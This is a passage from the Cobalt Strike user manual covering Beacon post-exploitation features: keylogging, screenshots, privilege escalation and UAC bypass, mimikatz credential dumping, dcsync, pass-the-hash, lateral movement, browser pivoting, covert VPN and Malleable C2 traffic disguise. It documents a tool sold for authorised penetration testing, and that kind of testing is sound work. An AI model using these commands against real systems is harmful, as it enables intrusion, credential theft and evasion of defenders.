the tree to have Beacon generate a task to list the contents of this folder (and update its cache). Double-click on a dark-grey folder in the right-hand side current folder view to do the same. To go up a folder, press the folder button next to the file path above the right-hand side folder details view. If the parent folder is in this file browser’s cache, you will see the results immediately. If the parent folder is not in the file browser’s cache, the browser will generate a task to list the contents of the parent folder. Right-click a file to download or delete it. To see which drives are available, press List Drives. 7.11 File System Commands You may prefer to browse and manipulate the file system from the Beacon console. You can do this too. Use the ls command to list files in the current directory. Use mkdir to make a directory. rm will remove a file or folder. cp copies a file to a destination. mv moves a file. 7.12 The Windows Registry Use reg_query [x86|x64] [HIVE\path\to\key] to query a specific key in the registry. This command will print the values within that key and a list of any subkeys. The x86/x64 option is required and forces Beacon to use the WOW64 (x86) or native view of the registry. reg_query [x86|x64] [HIVE\path\to\key] [value] will query a specific value within a registry key. www.cobaltstrike.com/ / 49/ 7.13 Keystrokes and Screenshots Beacon’s tools to log keystrokes and take screenshots are designed to inject into another process and report their results to your Beacon. To start the keystroke logger, use keylogger pid x86 to inject into an x86 process. Use keylogger pid x64 to inject into an x64 process. Use keylogger by itself to inject the keystroke logger into a temporary process. The keystroke logger will monitor keystrokes from the injected process and report them to Beacon until the process terminates or you kill the keystroke logger post- exploitation job. Be aware that multiple keystroke loggers may conflict with each other. Use only one keystroke logger per desktop session. To take a screenshot, use screenshot pid x86 to inject the screenshot tool into an x86 process. Use screenshot pid x64 to inject into an x64 process. This variant of the screenshot command will take one screenshot and exit. screenshot, by itself, will inject the screenshot tool into a temporary process. The screenwatch command (with options to use a temporary process or inject into an explicit process) will continuously take screenshots until you stop the screenwatch post-exploitation job. Use the printscreen command (also with temporary process and inject options) to take a screenshot by a different method. This command uses a PrintScr keypress to place the screenshot onto the user's clipboard. This feature recovers the screenshot from the clipboard and reports it back to you. When Beacon receives new screenshots or keystrokes, it will post a message to the Beacon console. The screenshot and keystroke information is not available through the Beacon console though. Go to View -> Keystrokes to see logged keystrokes across all of your Beacon sessions. Go to View -> Screenshots to browse through screenshots from all of your Beacon sessions. Both of these dialogs update as new information comes in. These dialogs make it easy for one operator to monitor keystrokes and screenshots on all of your Beacon sessions. 7.14 Post-Exploitation Jobs Several Beacon features run as jobs in another process (e.g., the keystroke logger and screenshot tool). These jobs run in the background and report their output when it’s available. Use the jobs command to see which jobs are running in your Beacon. Use jobkill [job number] to kill a job. 7.15 The Process Browser The Process Browser does the obvious; it tasks a Beacon to show a list of processes and shows this information to you. The left-hand side shows the processes organized into a tree. The current process for your Beacon is highlighted yellow. The right-hand side shows the process details. The Process Browser is also a convenient place to impersonate a token from another process, deploy the screenshot tool, or deploy the keystroke logger. Highlight one or more processes and press the appropriate button at the bottom of the tab. www.cobaltstrike.com/ / 50/ Figure 36. Process Browser If you highlight multiple Beacons and task them to show processes, Cobalt Strike will show a Process Browser that also states which host the process comes from. This variant of the Process Browser is a convenient way to deploy Beacon’s post-exploitation tools to multiple systems at once. Simply sort by process name, highlight the interesting processes on your target systems, and press the Screenshot or Log Keystrokes button to deploy these tools to all highlighted systems. 7.16 Desktop Control To interact with a desktop on a target host, go to [beacon] -> Explore -> Desktop (VNC). This will stage a VNC server into the memory of the current process and tunnel the connection through Beacon. When the VNC server is ready, Cobalt Strike will open a tab labeled Desktop HOST@PID. You may also use Beacon’s desktop command to inject a VNC server into a specific process. Use desktop pid architecture low|high. The last parameter let’s you specify a quality for the VNC session. www.cobaltstrike.com/ / 51/ Figure 37. Cobalt Strike Desktop Viewer The bottom of the desktop tab has several buttons. These are: Refresh the screen View only Decrease Zoom Increase Zoom Zoom to 100% Adjust Zoom to Fit Tab Send Ctrl+Escape Lock the Ctrl key Lock the Alt key If you can’t type in a Desktop tab, check the state of the Ctrl and Alt buttons. When either button is pressed, all of your keystrokes are sent with the Ctrl or Alt modifier. Press the Ctrl or Alt button to turn off this behavior. Make sure View only isn’t pressed either. To prevent you from accidentally moving the mouse, View only is pressed by default. www.cobaltstrike.com/ / 52/ 7.17 Privilege Escalation Some post-exploitation commands require system administrator-level rights. Beacon includes several options to help you elevate your access. Elevate with an Exploit Type elevate to list privilege escalation exploits registered with Cobalt Strike. Run elevate [exploit] [listener] to attempt to elevate with a specific exploit. You may also launch one of these exploits through [beacon] -> Access -> Elevate. Use runasadmin, by itself, to list command elevator exploits registered with Cobalt Strike. Run runasadmin [exploit] [command + args] to attempt to run the specified command in an elevated context. Cobalt Strike separates command elevator exploits and session-yielding exploits because some attacks are a natural opportunity to spawn a session. Other attacks yield a “run this command” primitive. Spawning a session from a “run this command” primitive puts a lot of weaponization decisions (not always favorable) in the hands of your tool developer. With runasadmin, it’s your choice to drop an executable to disk and run it, to run a PowerShell one-liner, or to weaken the target in some way. If you’d like to use a PowerShell one-liner to spawn a session, go to [session] -> Access -> One- liner. This dialog will setup a localhost-only webserver within your Beacon session to host a payload stage and return a PowerShell command to download and run this payload stage. This webserver is one-use only. Once it’s connected to once, it will clean itself up and stop serving your payload. If you run a TCP or SMB Beacon with this tool, you will need to use connect or link to assume control of the payload manually. Also, be aware that if you try to use an x64 payload—this will fail if the x86 PowerShell is in your $PATH. Figure 38. PowerShell One-liner Cobalt Strike does not have many built-in elevate options. Exploit development is not a focus of the work at Strategic Cyber LLC. It is easy to integrate privilege escalation exploits via Cobalt Strike’s Aggressor Script programming language though. To see what this looks like, download the Elevate Kit. The Elevate Kit is an Aggressor Script that integrates several open source privilege escalation exploits into Cobalt Strike. https://github.com/rsmudge/ElevateKit www.cobaltstrike.com/ / 53/ Elevate with Known Credentials Use runas [DOMAIN\user] [password] [command] to run a command as another user using their credentials. The runas command will not return any output. You may use runas from a non- privileged context though. Use spawnas [DOMAIN\user] [password] [listener] to spawn a session as another user using their credentials. This command spawns a temporary process and injects your payload stage into it. You may also go to [beacon] -> Access -> Spawn As to run this command as well. With both of these commands, be aware that credentials for a non-SID 500 account will spawn a payload in a medium integrity context. You will need to use Bypass UAC to elevate to a high integrity context. Also, be aware, that you should run these commands from a working folder that the specified account can read. Get SYSTEM Use getsystem to impersonate a token for the SYSTEM account. This level of access may allow you to perform privileged actions that are not possible as an Administrator user. Another way to get SYSTEM is to create a service that runs a payload. The elevate svc-exe [listener] command does this. It will drop an executable that runs a payload, create a service to run it, assume control of the payload, and cleanup the service and executable. UAC Bypass Microsoft introduced User Account Control (UAC) in Windows Vista and refined it in Windows 7. UAC works a lot like sudo in UNIX. Day-to-day a user works with normal privileges. When the user needs to perform a privileged action—the system asks if they would like to elevate their rights. Cobalt Strike ships with a few UAC bypass attacks. These attacks will not work if the current user is not an Administrator. To check if the current user is in the Administrators group, use run whoami /groups. elevate uac-token-duplication [listener] will spawn a temporary process with elevated rights and inject a payload stage into it. This attack uses a UAC-loophole that allows a non-elevated process to launch an arbitrary process with a token stolen from an elevated process. This loophole requires the attack to remove several rights assigned to the elevated token. The abilities of your new session will reflect these restricted rights. If Always Notify is at its highest setting, this attack requires that an elevated process is already running in the current desktop session (as the same user). This attack works on Windows 7 and Windows 10 prior to the November 2018 update. runasadmin uac-token-duplication [command] is the same attack described above, but this variant runs a command of your choosing in an elevated context. runasadmin uac-cmstplua [command] will attempt to bypass UAC and run a command in an elevated context. This attack relies on a COM object that automatically elevates from certain process contexts (Microsoft signed, lives in c:\windows\*). www.cobaltstrike.com/ / 54/ Privileges Type getprivs to enable the privileges assigned to your current access token. 7.18 Mimikatz Beacon integrates mimikatz. Use the mimikatz command to pass any command to mimikatz’s command dispatcher. For example, mimikatz standard::coffee will give you a cup of coffee. Beacon will take care to inject a mimikatz instance that matches the native architecture of your target. Some mimikatz commands must run as SYSTEM to work. Prefix a command with a ! to force mimikatz to elevate to SYSTEM before it runs your command. For example, mimikatz !lsa::cache will recover salted password hashes cached by the system. Once in awhile, you may need to run a mimikatz command with Beacon’s current access token. Prefix a command with a @ to force mimikatz to impersonate Beacon’s current access token. For example, mimikatz @lsadump::dcsync will run the dcsync command in mimikatz with Beacon’s current access token. 7.19 Credential and Hash Harvesting To dump hashes, go to [beacon] -> Access -> Dump Hashes. You may also use the hashdump command from the Beacon console. These commands will spawn a job that injects into LSASS and dumps the password hashes for local users on the current system. The logonpasswords command will use mimikatz to recover plaintext passwords and hashes for users who are logged on to the current system. The logonpasswords command is the same as [beacon] -> Access -> Run Mimikatz. Use dcsync [DOMAIN.FQDN] to pull password hashes for all accounts from a domain controller. This technique uses Windows APIs built to sync information between domain controllers. It requires a domain administrator trust relationship. Beacon uses mimikatz to execute this technique. Use dcsync [DOMAIN.FQDN] [DOMAIN\user], if you want a specific password hash. Credentials dumped with the above commands are collected by Cobalt Strike and stored in the credentials data model. Go to View -> Credentials to pull up the credentials on the current team server. 7.20 Port Scanning Beacon has a built in port scanner. Use portscan [targets] [ports] [discovery method] to start the port scanner job. You may specify a comma-separated list of target ranges. The same goes for ports as well. For example, portscan 172.16.48.0/24 1-1024,8080 will scan hosts 172.16.48.0 through 172.16.48.255 on ports 1 to 1024 and 8080. There are three target discovery options. The arp method uses an ARP request to discover if a host is alive or not. The icmp method sends an ICMP echo request to check if a target is alive. The none option tells the portscan tool to assume that all hosts are alive. www.cobaltstrike.com/ / 55/ The port scanner will run, in between Beacon check ins. When it has results to report, it will send them to the Beacon console. Cobalt Strike will process this information and update the targets model with the discovered hosts. 7.21 Network and Host Enumeration Beacon’s net module provides tools to interrogate and discover targets in a Windows active directory network. Use the net dclist command to find the domain controller for the domain the target is joined to. Use the net view command to find targets on the domain the target is joined to. Both of these commands populate the targets model as well. The net computers command finds targets by querying computer account groups on a Domain Controller. The commands in Beacon’s net module are built on top of the Windows Network Enumeration APIs. Most of these commands are direct replacements for many of the built-in net commands in Windows. There are also a few unique capabilities here as well. For example, use net localgroup \\TARGET to list the groups on another system. Use net localgroup \\TARGET group name to list the members of a group on another system. These commands are great during lateral movement when you have to find who is a local admin on another system. Use help net to get a list of all the commands in Beacon’s net module. Use help net command to get help for each individual command. 7.22 Trust Relationships The heart of Windows single sign-on is the access token. When a user logs onto a Windows host, an access token is generated. This token contains information about the user and their rights. The access token also holds information needed to authenticate the current user to another system on the network. Impersonate or generate a token and Windows will use its information to authenticate to a network resource for you. Use steal_token [process id] to impersonate a token from an existing process. If you’d like to see which processes are running use ps. The getuid command will print your current token. Use rev2self to revert back to your original token. If you know credentials for a user; use make_token [DOMAIN\user] [password] to generate a token that passes these credentials. This token is a copy of your current token with modified single sign-on information. It will show your current username. This is expected behavior. Use mimikatz to pass-the-hash with Beacon. The Beacon command pth [DOMAIN\user] [ntlm hash] will create and impersonate an access token to pass the specified hash. Beacon’s Make Token dialog ([beacon] -> Access -> Make Token) is a front-end for these commands. It will present the contents of the credential model and it will use the right command to turn the selected credential entry into an access token. Kerberos Tickets Use kerberos_ticket_use [/path/to/ticket] to inject a Kerberos ticket into the current session. This will allow Beacon to interact with remote systems using the rights in this ticket. Try this with a Golden Ticket generated by mimikatz 2.0. www.cobaltstrike.com/ / 56/ Use kerberos_ticket_purge to clear any kerberos tickets associated with your session. 7.23 Lateral Movement Once you have a token for a domain admin or a domain user who is a local admin on a target, you may abuse this trust relationship to get control of the target. Cobalt Strike’s Beacon has several built-in options for lateral movement. Type jump to list lateral movement options registered with Cobalt Strike. Run jump [module] [target] [listener] to attempt to run a payload on a remote target. Jump Module Arch Description psexec x86 Use a service to run a Service EXE artifact psexec64 x64 Use a service to run a Service EXE artifact psexec_psh x86 Use a service to run a PowerShell one-liner winrm x86 Run a PowerShell script via WinRM winrm64 x64 Run a PowerShell script via WinRM Run remote-exec, by itself, to list remote execution modules registered with Cobalt Strike. Use remote-exec [module] [target] [command + args] to attempt to run the specified command on a remote target. Remote-exec Module Description psexec Remote execute via Service Control Manager winrm Remote execute via WinRM (PowerShell) wmi Remote execute via WMI Lateral movement is an area, similar to privilege escalation, where some attacks present a natural set of primitives to spawn a session on a remote target. Some attacks give an execute-primitive only. The split between jump and remote-exec gives you flexibility to decide how to weaponize an execute-only primitive. Aggressor Script has an API to add new modules to jump and remote-exec. See the Aggressor Script documentation (the Beacon chapter, specifically) for more information. www.cobaltstrike.com/ / 57/ 7.24 Lateral Movement GUI Cobalt Strike also provides a GUI to make lateral movement easier. Switch to the Targets Visualization or go to View -> Targets. Navigate to [target] -> Jump and choose your desired lateral movement option. The following dialog will open: Figure 39. Lateral Movement Dialog To use this dialog: First, decide which trust you want to use for lateral movement. If you want to use the token in one of your Beacons, check the Use session’s current access token box. If you want to use credentials or hashes for lateral movement—that’s OK too. Select credentials from the credential store or populate the User, Password, and Domain fields. Beacon will use this information to generate an access token for you. Keep in mind, you need to operate from a high integrity context [administrator] for this to work. Next, choose the listener to use for lateral movement. The SMB Beacon is usually a good candidate here. Last, select which session you want to perform the lateral movement attack from. Cobalt Strike’s asynchronous model of offense requires each attack to execute from a compromised system. There is no option to perform this attack without a Beacon session to attack from. If you’re on an internal engagement, consider hooking a Windows system that you control and use that as your starting point to attack other systems with credentials or hashes. Press Launch. Cobalt Strike will activate the tab for the selected Beacon and issue commands to it. Feedback from the attack will show up in the Beacon console. www.cobaltstrike.com/ / 58/ 8. Browser Pivoting 8.1 Overview Malware like Zeus and its variants inject themselves into a user’s browser to steal banking information. This is a man-in-the-browser attack. So-called, because the attacker is injecting malware into the target’s browser. Man-in-the-browser malware uses two approaches to steal banking information. They either capture form data as it’s sent to a server. For example, malware might hook PR_Write in Firefox to intercept HTTP POST data sent by Firefox. Or, they inject JavaScript onto certain webpages to make the user think the site is requesting information that the attacker needs. Cobalt Strike offers a third approach for man-in-the-browser attacks. It lets the attacker hijack authenticated web sessions—all of them. Once a user logs onto a site, an attacker may ask the user’s browser to make requests on their behalf. Since the user’s browser is making the request, it will automatically re-authenticate to any site the user is already logged onto. I call this a browser pivot—because the attacker is pivoting their browser through the compromised user’s browser. Figure 40. Browser Pivoting in Action Cobalt Strike’s implementation of browser pivoting for Internet Explorer injects an HTTP proxy server into the compromised user’s browser. Do not confuse this with changing the user’s proxy settings. This proxy server does not affect how the user gets to a site. Rather, this proxy server is available to the attacker. All requests that come through it are fulfilled by the user’s browser. www.cobaltstrike.com/ / 59/ 8.2 Setup To setup Browser pivoting, go to [beacon] -> Explore -> Browser Pivot. Choose the Internet Explorer instance that you want to inject into. You may also decide which port to bind the browser pivoting proxy server to as well. Figure 41. Start a Browser Pivot Beware that the process you inject into matters a great deal. Inject into Internet Explorer to inherit a user’s authenticated web sessions. Modern versions of Internet Explorer spawn each tab in its own process. If your target uses a modern version of Internet Explorer, you must inject a process associated with an open tab to inherit session state. Which tab process doesn’t matter (child tabs share session state). Identify Internet Explorer tab processes by looking at the PPID value in the Browser Pivoting setup dialog. If the PPID references explorer.exe, the process is not associated with a tab. If the PPID references iexplore.exe, the process is associated with a tab. Cobalt Strike will show a checkmark next to the processes it thinks you should inject into. Once Browser Pivoting is setup, set up your web browser to use the Browser Pivot Proxy server. Remember, Cobalt Strike’s Browser Pivot server is an HTTP proxy server. Figure 42. Configure Browser Settings www.cobaltstrike.com/ / 60/ 8.3 Use You may browse the web as your target user once browser pivoting is started. Beware that the browser pivoting proxy server will present its SSL certificate for SSL-enabled websites you visit. This is necessary for the technology to work. The browser pivoting proxy server will ask you to add a host to your browser’s trust store when it detects an SSL error. Add these hosts to the trust store and press refresh to make SSL protected sites load properly. If your browser pins the certificate of a target site, you may find its impossible to get your browser to accept the browser pivoting proxy server’s SSL certificate. This is a pain. One option is to use a different browser. The open source Chromium browser has a command-line option to ignore all certificate errors. This is ideal for browser pivoting use: chromium --ignore-certificate-errors --proxy-server=[host]:[port] The above command is available from View -> Proxy Pivots. Highlight the Browser Pivot HTTP Proxy entry and press Tunnel. To stop the Browser Pivot proxy server, type browserpivot stop in its Beacon console. You will need to reinject the browser pivot proxy server if the user closes the tab you’re working from. The Browser Pivot tab will warn you when it can’t connect to the browser pivot proxy server in the browser. 8.4 How it Works Internet Explorer delegates all of its communication to a library called WinINet. This library, which any program may use, manages cookies, SSL sessions, and server authentication for its consumers. Cobalt Strike’s Browser Pivoting takes advantage of the fact that WinINet transparently manages authentication and reauthentication on a per process basis. By injecting Cobalt Strike’s Browser Pivoting technology into a user’s Internet Explorer instance, you get this transparent reauthentication for free. www.cobaltstrike.com/ / 61/ 9. Pivoting 9.1 What is Pivoting Pivoting, for the sake of this manual, is turning a compromised system into a hop point for other attacks and tools. Cobalt Strike’s Beacon provides several pivoting options. For each of these options, you will want to make sure your Beacon is in interactive mode. Interactive mode is when a Beacon checks in multiple times each second. Use the sleep 0 command to put your Beacon into interactive mode. 9.2 SOCKS Proxy Go to [beacon] -> Pivoting -> SOCKS Server to setup a SOCKS4a proxy server on your team server. Or, use socks 8080 to setup a SOCKS4a proxy server on port 8080 (or any other port you choose). All connections that go through these SOCKS servers turn into connect, read, write, and close tasks for the associated Beacon to execute. You may tunnel via SOCKS through any type of Beacon (even an SMB Beacon). Beacon’s HTTP data channel is the most responsive for pivoting purposes. If you’d like to pivot traffic over DNS, use the DNS TXT record communication mode. To see the SOCKS servers that are currently setup, go to View -> Proxy Pivots. Use socks stop to disable the SOCKS proxy server. Proxychains The proxychains tool will force an external program to use a SOCKS proxy server that you designate. You may use proxychains to force third-party tools through Cobalt Strike’s SOCKS server. To learn more about proxychains, visit: • http://proxychains.sourceforge.net// Metasploit You may also tunnel Metasploit Framework exploits and modules through Beacon. Create a Beacon SOCKS proxy server [as described above] and paste the following into your Metasploit Framework console: setg Proxies socks4:team server IP:proxy port setg ReverseAllowProxy true These commands will instruct the Metasploit Framework to apply your Proxies option to all modules executed from this point forward. Once you’re done pivoting through Beacon in this way, use unsetg Proxies to stop this behavior. www.cobaltstrike.com/ / 62/ If you find the above tough to remember, go to View -> Proxy Pivots. Highlight the proxy pivot you setup and press Tunnel. This button will provide the setg Proxies syntax needed to tunnel the Metasploit Framework through your Beacon. 9.3 Reverse Port Forward Use the rportfwd command to setup a reverse pivot through Beacon. The rportfwd command will bind a port on the compromised target. Any connections to this port will cause your Cobalt Strike server to initiate a connection to another host and port and relay traffic between these two connections. Cobalt Strike tunnels this traffic through Beacon. The syntax for rportfwd is: rportfwd [bind port] [forward host] [forward port]. Use the rportfwd_local command to setup a reverse pivot through Beacon with one variation. This feature initiates a connection to the forward host/port from your Cobalt Strike client. The forwarded traffic is communicated through the connection your Cobalt Strike client has to its team server. Use rportfwd stop [bind port] to disable the reverse port forward. 9.4 Spawn and Tunnel Use the spunnel command to spawn a third-party tool in a temporary process and create a reverse port forward for it. The syntax is spunnel [x86 or x64] [controller host] [controller port] [/path/to/agent.bin]. This command expects that the agent file is position-independent shellcode (usually the raw output from another offense platform). The spunnel_local command is the same as spunnel, except it initiates the controller connection from your Cobalt Strike client. The spunnel_local traffic is communicated through the connection your Cobalt Strike client has to its team server. Agent Deployed: Interoperability with Core Impact The spunnel commands were designed specifically to tunnel Core Impact's agent through Cobalt Strike's Beacon. Core Impact is a penetration testing tool and exploit framework also available for license from HelpSystems. https://www.coresecurity.com/products/core-impact To export a raw agent file from Core Impact: 1. Click the Modules tab in the Core Impact user interface 2. Search for Package and Register Agent 3. Double-click this module 4. Change Platform to Windows 5. Change Architecture to x86-64 6. Change Binary Type to raw 7. Click Target File and press ... to decide where to save the output. 8. Go to Advanced 9. Change Encrypt Code to false 10. Go to Agent Connection 11. Change Connection Method to Connect from Target www.cobaltstrike.com/ / 63/ 12. Change Connect Back Hostname to 127.0.0.1 13. Change Port to some value (e.g., 9000) and remember it. 14. Press OK. The above will generate a Core Impact agent as a raw file. You may use spunnel x64 or spunnel_local x64 to run this agent and tunnel it back to Core Impact. We often use Cobalt Strike on an internet reachable infrastructure and Core Impact is often on a local Windows virtual machine. It's for this reason we have spunnel_local. We recommend that you run a Cobalt Strike client from the same Windows system that Core Impact is installed onto. In this setup, you can run spunnel_local x64 127.0.0.1 9000 c:\path\to\agent.bin. Once the connection is made, you will hear the famous "Agent Deployed" wav file. With an Impact agent on target, you have tools to escalate privileges, scan and information gather via many modules, launch remote exploits, and chain other Impact agents through your Beacon connection. 9.5 Pivot Listeners It’s good tradecraft to limit the number of direct connections from your target’s network to your command and control infrastructure. A pivot listener allows you to create a listener that is bound to a Beacon or SSH session. In this way, you can create new reverse sessions without more direct connections to your command and control infrastructure. To setup a pivot listener, go to [beacon] -> Pivoting -> Listener…. This will open a dialog where you may define a new pivot listener. Figure 43. Configure a Pivot Listener A pivot listener will bind to Listen Port on the specified Session. The Listen Host value configures the address your reverse TCP payload will use to connect to this listener. Right now, the only payload option is windows/beacon_reverse_tcp. Pivot Listeners do not change the pivot host’s firewall configuration. If a pivot host has a host- based firewall, this may interfere with your listener. You, the operator, are responsible for anticipating this situation and taking the right steps for it. www.cobaltstrike.com/ / 64/ To remove a pivot listener, go to Cobalt Strike -> Listeners and remove the listener there. Cobalt Strike will send a task to tear down the listening socket, if the session is still reachable. 9.6 Covert VPN VPN pivoting is a flexible way to tunnel traffic without the limitations of a proxy pivot. Cobalt Strike offers VPN pivoting through its Covert VPN feature. Covert VPN creates a network interface on the Cobalt Strike system and bridges this interface into the target’s network. Figure 44. Deploy Covert VPN To activate Covert VPN, right-click a compromised host, go to [beacon] -> Pivoting -> Deploy VPN. Select the remote interface you would like Covert VPN to bind to. If no local interface is present, press Add to create one. Check Clone host MAC address to make your local interface have the same MAC address as the remote interface. It’s safest to leave this option checked. Press Deploy to start the Covert VPN client on the target. Covert VPN requires Administrator access to deploy. Once a Covert VPN interface is active, you may use it like any physical interface on your system. Use ifconfig to configure its IP address. If your target network has a DHCP server, you may request an IP address from it using your operating systems built-in tools. To manage your Covert VPN interfaces, go to Cobalt Strike -> Interfaces. Here, Cobalt Strike will show the Covert VPN interfaces, how they’re configured, and how many bytes were transmitted and received through each interface. Highlight an interface and press Remove to destroy the interface and close the remote Covert VPN client. Covert VPN will remove its temporary files on reboot and it automatically undoes any system changes right away. Press Add to configure a new Covert VPN interface. www.cobaltstrike.com/ / 65/ Figure 45. Setup a Covert VPN Interface Covert VPN interfaces consist of a network tap and a channel to communicate 65thernet frames through. To configure the interface, choose an Interface name (this is what you will manipulate through ifconfig later) and a MAC address. You must also configure the Covert VPN communication channel for your interface. Covert VPN may communicate Ethernet frames over a UDP connection, TCP connection, ICMP, or using the HTTP protocol. The TCP (Reverse) channel has the target connect to your Cobalt Strike instance. The TCP (Bind) channel has Cobalt Strike tunnel the VPN through Beacon. Cobalt Strike will setup and manage communication with the Covert VPN client based on the Local Port and Channel you select. The Covert VPN HTTP channel makes use of the Cobalt Strike web server. You may host other Cobalt Strike web applications and multiple Covert VPN HTTP channels on the same port. For best performance, use the UDP channel. The UDP channel has the least amount of overhead compared to the TCP and HTTP channels. Use the ICMP, HTTP, or TCP (Bind) channels if you need to get past a restrictive firewall. While Covert VPN has a flexibility advantage, your use of a VPN pivot over a proxy pivot will depend on the situation. Covert VPN requires Administrator access. A proxy pivot does not. Covert VPN creates a new communication channel. A proxy pivot does not. You should use a proxy pivot initially and move to a VPN pivot when it’s needed. www.cobaltstrike.com/ / 66/ 10. SSH Sessions 10.1 The SSH Client Cobalt Strike controls UNIX targets with a built-in SSH client. This SSH client receives tasks from and routes its output through a parent Beacon. Use ssh [target] [user] [password] to launch an SSH session from a Beacon. You may also use ssh-key [target] [user] [/path/to/key.pem] to authenticate with a key. These commands run Cobalt Strike’s SSH client. The client will report any connection or authentication issues to the parent Beacon. If the connection succeeds, you will see a new session in Cobalt Strike’s display. This is an SSH session. Right-click on this session and press Interact to open the SSH console. Type help to see a list of commands the SSH session supports. Type help followed by a command name for details on that command. 10.2 Running Commands The shell command will run the command and arguments you provide. Running commands block the SSH session for up to 20s before Cobalt Strike puts the command in the background. Cobalt Strike will report output from these long running commands as it becomes available. Use sudo [password] [command + arguments] to attempt to run a command via sudo. This alias requires the target’s sudo to accept the –S flag. The cd command will change the current working directory for the SSH session. The pwd command reports the current working directory. 10.3 Upload and Download Files The upload command will upload a file to the current working directory. The download command will download a file. Files downloaded with the download command are available under View -> Downloads. You may also type downloads to see file downloads in progress. The cancel command will cancel a download that’s in progress. 10.4 Peer-to-peer C2 SSH sessions can control TCP Beacons. Use the connect command to assume control of a TCP Beacon waiting for a connection. Use unlink to disconnect a TCP Beacon session. Go to [session] -> Listeners -> Pivot Listener… to setup a pivot listener tied to this SSH session. This will allow this compromised UNIX target to receive reverse TCP Beacon sessions. This option does require that the SSH daemon’s GatewayPorts option is set to yes or ClientSpecified. www.cobaltstrike.com/ / 67/ 10.5 SOCKS Pivoting and Reverse Port Forwards Use the socks command to create a SOCKS server on your team server that forwards traffic through the SSH session. The rportfwd command will also create a reverse port forward that routes traffic through the SSH session and your Beacon chain. There is one caveat to rportfwd: the rportfwd command asks the SSH daemon to bind to all interfaces. It’s quite likely the SSH daemon will override this and force the port to bind to localhost. You need to change the GatewayPorts option for the SSH daemon to yes or clientspecified. www.cobaltstrike.com/ / 68/ 11. Malleable Command and Control 11.1 Overview Many Beacon indicators are controlled by a Malleable C2 profile. A Malleable C2 profile consists of settings and data transforms. A data transform is a simple program that specifies how to transform data and store it in a transaction. The same program that transforms and stores data, interpreted backwards, also extracts and recovers data from a transaction. To use a custom profile, you must start a Cobalt Strike team server and specify your profile at that time. ./teamserver [external IP] [password] [/path/to/my.profile] You may only load one profile per Cobalt Strike instance. 11.2 Checking for Errors Cobalt Strike’s Linux package includes a c2lint program. This program will check the syntax of a communication profile, apply a few extra checks, and even unit test your profile with random data. It’s highly recommended that you check your profiles with this tool before you load them into Cobalt Strike. ./c2lint [/path/to/my.profile] 11.3 Profile Language The best way to create a profile is to modify an existing one. Several example profiles are available on Github: • https://github.com/rsmudge/Malleable-C2-Profiles/ When you open a profile, here is what you will see: # this is a comment set global_option "value"; protocol-transaction { set local_option "value"; client { # customize client indicators } server { # customize server indicators } } www.cobaltstrike.com/ / 69/ Comments begin with a # and go until the end of the line. The set statement is a way to assign a value to an option. Profiles use { curly braces } to group statements and information together. Statements always end with a semi-colon. To help all of this make sense, here’s a partial profile: http-get { set uri "/foobar"; client { metadata { base64; prepend "user="; header "Cookie"; } } This partial profile defines indicators for an HTTP GET transaction. The first statement, set uri, assigns the URI that the client and server will reference during this transaction. This set statement occurs outside of the client and server code blocks because it applies to both of them. The client block defines indicators for the client that performs an HTTP GET. The client, in this case, is Cobalt Strike’s Beacon payload. When Cobalt Strike’s Beacon “phones home” it sends metadata about itself to Cobalt Strike. In this profile, we have to define how this metadata is encoded and sent with our HTTP GET request. The metadata keyword followed by a group of statements specifies how to transform and embed metadata into our HTTP GET request. The group of statements, following the metadata keyword, is called a data transform. Step Action Data 0. Start metadata 1. base64 Base64 Encode bWV0YWRhdGE= 2. prepend "user=" Prepend String user=bWV0YWRhdGE= 3. header "Cookie" Store in Transaction The first statement in our data transform states that we will base64 encode our metadata [1]. The second statement, prepend, takes our encoded metadata and prepends the string user= to it [2]. Now our transformed metadata is “user=“ . base64(metadata). The third statement states we will store our transformed metadata into a client HTTP header called Cookie [3]. That’s it. Both Beacon and its server consume profiles. Here, we’ve read the profile from the perspective of the Beacon client. The Beacon server will take this same information and interpret it www.cobaltstrike.com/ / 70/ backwards. Let’s say our Cobalt Strike web server receives a GET request to the URI /foobar. Now, it wants to extract metadata from the transaction. Step Action Data 0. Start 1. header "Cookie" Recover from Transaction user=bWV0YWRhdGE= 2. prepend "user=" Remove first 5 characters bWV0YWRhdGE= 3. base64 Base64 Decode metadata The header statement will tell our server where to recover our transformed metadata from [1]. The HTTP server takes care to parse headers from the HTTP client for us. Next, we need to deal with the prepend statement. To recover transformed data, we interpret prepend as remove the first X characters [2], where X is the length of the original string we prepended. Now, all that’s left is to interpret the last statement, base64. We used a base64 encode function to transform the metadata before. Now, we use a base64 decode to recover the metadata [3]. We will have the original metadata once the profile interpreter finishes executing each of these inverse statements. Data Transform Language A data transform is a sequence of statements that transform and transmit data. The data transform statements are: Statement Action Inverse append "string" Append "string" Remove last LEN(“string”) characters base64 Base64 Encode Base64 Decode base64url URL-safe Base64 Encode URL-safe Base64 Decode mask XOR mask w/ random key XOR mask w/ same random key netbios NetBIOS Encode ‘a’ NetBIOS Decode ‘a’ netbiosu NetBIOS Encode ‘A’ NetBIOS Decode ‘A’ prepend "string" Prepend "string" Remove first LEN(“string”) characters A data transform is a combination of any number of these statements, in any order. For example, you may choose to netbios encode the data to transmit, prepend some information, and then base64 encode the whole package. A data transform always ends with a termination statement. You may only use one termination statement in a transform. This statement tells Beacon and its server where in the transaction to store the transformed data. www.cobaltstrike.com/ / 71/ There are four termination statements. Statement What header “header” Store data in an HTTP header parameter “key” Store data in a URI parameter print Send data as transaction body uri-append Append to URI The header termination statement stores transformed data in an HTTP header. The parameter termination statement stores transformed data in an HTTP parameter. This parameter is always sent as part of URI. The print statement sends transformed data in the body of the transaction. The print statement is the expected termination statement for the http-get.server.output, http- post.server.output, and http-stager.server.output blocks. You may use the header, parameter, print and uri-append termination statements for the other blocks. If you use a header, parameter, or uri-append termination statement on http-post.client.output, Beacon will chunk its responses to a reasonable length to fit into this part of the transaction. These blocks and the data they send are described in a later section. Strings Beacon’s Profile Language allows you to use “strings” in several places. In general, strings are interpreted as-is. However, there are a few special values that you may use in a string: Value Special Value “\n” Newline character “\r” Carriage Return “\t” Tab character “\u####” A unicode character “\x##” A byte (e.g., \x41 = ‘A’) “\\” \ Headers and Parameters Data transforms are an important part of the indicator customization process. They allow you to dress up data that Beacon must send or receive with each transaction. You may add extraneous indicators to each transaction too. In an HTTP GET or POST request, these extraneous indicators come in the form of headers or parameters. Use the parameter statement within the client block to add an arbitrary parameter to an HTTP GET or POST transaction. www.cobaltstrike.com/ / 72/ This code will force Beacon to add ?bar=blah to the /foobar URI when it makes a request. http-get { client { parameter "bar" "blah"; Use the header statement within the client or server blocks to add an arbitrary HTTP header to 